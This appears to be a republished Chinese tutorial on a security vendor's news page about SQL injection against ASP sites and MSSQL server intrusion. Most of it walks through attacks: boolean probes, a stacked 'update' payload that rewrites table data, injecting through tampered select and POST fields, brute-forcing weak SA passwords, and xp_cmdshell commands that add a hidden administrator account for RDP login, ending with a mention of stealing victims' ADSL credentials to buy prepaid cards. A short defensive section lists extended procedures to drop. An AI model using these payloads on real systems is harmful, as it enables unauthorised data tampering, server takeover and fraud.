English
 电子信箱
 加入收藏

  威盾防火墙 >> 新闻中心 >> 业界动态 >> 浅谈SQL注入和MSSQL防范

 

浅谈SQL注入和MSSQL防范

威盾防火墙 2015-03-10

 
1。如果判断SQL能否注入。

通过地址栏在这里打个比方
通过对http://www.msdncn.com/msga/index.asp?id=3 进行分析

I        http://www.msdncn.com/msga/index.asp?id=3 and 1=1 

II      http://www.msdncn.com/msga/index.asp?id=3 and 1=2

I  到地址栏后会变为http://www.msdncn.com/msga/index.asp?id=3%20and%201=1 
I  到地址栏后会变为http://www.msdncn.com/msga/index.asp?id=3%20and%201=2

I  为正常显示。
II 为显示错误。
则说明可以注入。

这个在 NB联盟-小竹 写的《SQL注入漏洞全接触》一文中有了详细的说明和解释了。
大家可去
http://www.blueidea.com/tech/program/2004/1810.asp
祥看

他在此文里说道”提示BOF或EOF(程序没做任何判断时)、或提示找不到记录(判断了rs.eof时)、或显示内容为空(程序加了on error resume next)“
这里我做下补充说明

首先写段代码。便于理解。
index.asp

<%
ID = request("id") '接受get/(post,我会在后面介绍post和select页面控件的注入)参数
.... '程序部分

'假设表明有1表,表名为table1,字段有2个为col,row

StrSql = "select * from table1  where col=" & ID  '构造SQL语句

'sSql="select * from table1 where row ='" & ID &"'" ’构造带''参数的sql语句

set Rs=conn.execute(StrSql)  ‘执行sql语句

response.write (rs("col"))

if rs.eof and rs.bof then  ‘判断是否有查询数据。如无则挑过
...'程序主体
end if
...’程序主体
%>


大致写了这样一段代码
我们看,当我们输入and 1=1时
此时
id = 3 and 1=1
带到sql语句里去,得
select * from table1 where col= 3 and 1 =1 
这句话没有出错错,后面的1=1代表恨真式 
一般情况下,得到的结果等于select * from table1 where col=3 得出来的结果
假设col当前值为“renaski"的话那
response.write (rs("col"))  输出的结果也为renaski



现在把 and 1=2代入进去看一下得
id =3 and 1=2
sql语句为
select * from table1 where col=3 and 1=2
由于1=2为假值,恨假式,永远不成立。
所以得到的结果当然是一个数据也得不到了。

假设col当前值为“renaski"的话那
response.write (rs("col"))  输出的结果则为”提示BOF或EOF(程序没做任何判断时)、或提示找不到记录(判断了rs.eof时)“


其实SQL注入,说白了,就是看你根据提示出错的信息去巧妙的构造这个SQL语句。


现在我们看sSql的SQL语句,他与StrSql不同之处在与,某些程序员会在数字类型两旁加1对''
这回我们在用and 1=1 放进去的情况则完全不同,当然注入道理完全一摸一样的。

他报:

Microsoft OLE DB Provider for SQL Server 错误 '80040e07' 

将 varchar 值 '3 and 1=2' 转换为数据类型为 int 的列时发生语法错误。 

/msga/index.asp,行32 

推理游戏:

根据信息我们可以看到第一句话,
“Microsoft OLE DB Provider for SQL Server”表明数据库是SQL SERVER 2000数据库

"错误信息为'80040e07'"(这个不重要,没有直接的推理和可用的情报)

"将 varchar 值" 这段所放的数据是int的类型

/msga/index.asp,行32 (这个是错误文件所在根目录的位置,错误的行数为32行)

'3 and 1=2' 转换为数据类型为 int 的列时发生语法错误。 
这里是推理的关键部分。
好了,我们假设不知道SQL语句的构成
现在用'输入进去

http://www.msdncn.com/msga/index.asp?id='

Microsoft OLE DB Provider for SQL Server 错误 '80040e14' 

字符串 ''' 之前有未闭合的引号。 

/msga/index.asp,行32 

可以看到'''错误。说明他是有引号在2旁边

可以推理到sql语句大致的情况是这样的

sql="select * from 表 where 字段 = ' " & ID & "'"         (*)

呵呵,当然我们and 1=1 放进去也会报错拉。

好了,说正题。注入开始。


原来的地址:http://www.msdncn.com/msga/index.asp?id=3 
我们现在要动脑子在3这个参数上做文章。

select * from table1 where col= '3'

我们可以到查询分析器拿pubs表自己做个试验

select * from table1 where col ='3' ;update table1 set row ='我要更新你的数据库的' where 1='1'

经试验,这个SQL语句完全不报错。
那现在与(*)号处的SQL语句做下比较了
可以得到
' ;update table1 set row ='我要更新你的数据库的' where 1='1

恩,这个就是我们要新输入的命令。ok ,输入回车,没有报错。

我打开查询分析器select * from table1 where col=3

的确,row已经被改了。



好了,重点开始了。
现在让我们来深化sql语句的注入吧,以下绝对是我自己想到的一种注入方法。没有借鉴过任何人。

而且可用率是及高的。

通过<select> 和POST方法注入。

之所以想到这种方法,也是因为平时再写程序的时候经常会疏忽这些安全的考虑。

做个简单的试验。

1.asp
<form name="form1">
<select id="ren">
<option>aa</option>
</select>
</form>
上传到空间上
得到
http://www.msdncn.com/1.asp

然后我们在地址栏上把http://www.msdncn.com/1.asp清除掉,然后打上
JavaScript:document.all.ren.outHTML="<input%20id=ren>"


敲击回车

我们会发现select变掉了,点击右键==〉查看原文件==》得到
<input id=ren> 

然后我们提交一把试试,恩,成功了。说明对象id=ren的值也是可以接受的到的。

好了,通常的程序员是不会对select多加防范的。
ok
注入开始。

通过一系列的操作后,我们在input里输入
;update table1 set row ='我要更新你的数据库的' where 1=1 
因为select通常写程序是不加‘’,那就去掉最前面的'和最后一个1前面的‘
得到

select * from table1 where col ='3' ;update table1 set row ='我要更新你的数据库的' where 1='1'

当然也ok成功了。

对与post参数的话,也是同样的道理,因为他有可能没有了提示,但是道理是一样的,就看你怎么去搅乱他的SQL语句。达到注入的目的了。



最后一条
至于怎么得到他的表名和数据库名呢?
请参考
http://www.blueidea.com/tech/program/2004/1810.asp

在后面的附件里我会提供黑客字典,基本上你不用上面表的字段名和表名就没事了。


SQL注入完毕。


MSSQL入侵。

先是扫1433,1434端口。狂扫,如果你的SA密码是strong的就不用怕了,如果是弱口令的话,就麻烦了。

在得到SA的密码后,然后跳到master数据库上
输入如下命令

exec xp_cmdshell 'net user renaski 123456 /add' 
exec xp_cmdshell 'net localgroup administrators renaski /add' 

然后通过3389登陆到服务器上,你会看到,果然会在登陆里显示renaski用户。

要知道这个账户的权限比服务器的administrator的权限都大。

他可以看到NT管理员加密过的密码(可破解)

还有pcanywhere的密码也是催手可得了。(也需破解)


防范措施

输入如下语句即可。

use master
sp_dropextendedproc 'xp_cmdshell'

当然还有很多隐藏的扩展存储过程也很危险。


下面这些存储过程都是对Public可以执行的: 
xp_fileexist,用来确定一个文件是否存在。 
xp_getfiledetails,可以获得文件详细资料。 
xp_dirtree,可以展开你需要了解的目录,获得所有目录深度。 
Xp_getnetname,可以获得服务器名称。 

  还有可以操作注册表的存储过程,这些不是对Public可以执行的,需要系统管理员或者授权执行: 
Xp_regaddmultistring 
Xp_regdeletekey 
Xp_regdeletevalue 
Xp_regenumvalues 
Xp_regread (对Public可以执行) 
Xp_regremovemultistring 
Xp_regwrite 



还有就是tftp也是作案工具之一,大家要防范一下。

至于大家获得权限,进入别人服务器后
可以盗得用户的ADSL密码,然后通过对方的服务器,进入”互联星空“主页,他是可以用ADSL的账号付帐,买点卡的。

由于第一次写这样的技术文档和鉴于作者的水品有限,有不足之处,还望指出。

相关内容: 最新内容:
防止SQL注入的解决方法[2015-03-10]
PHP安全编程:防止SQL注入[2015-03-10]
与T-SQL语句的描述与T-SQL语句的描述[2015-03-06]
从多个SQL语句到一个 SQL表达式[2015-03-06]
将SQL 2000日志迁移到SQL Server 2008[2015-03-06]
SQL的数据操纵语句[2015-03-06]
防止SQL注入的解决方法[2015-03-10]
PHP安全编程:防止SQL注入[2015-03-10]
管理员防黑客入侵需知道[2015-03-10]
防范黑客入侵妙招有四个[2015-03-10]
如何有效的防止黑客入侵[2015-03-10]
防止黑客入侵ADSL的一些技巧[2015-03-10]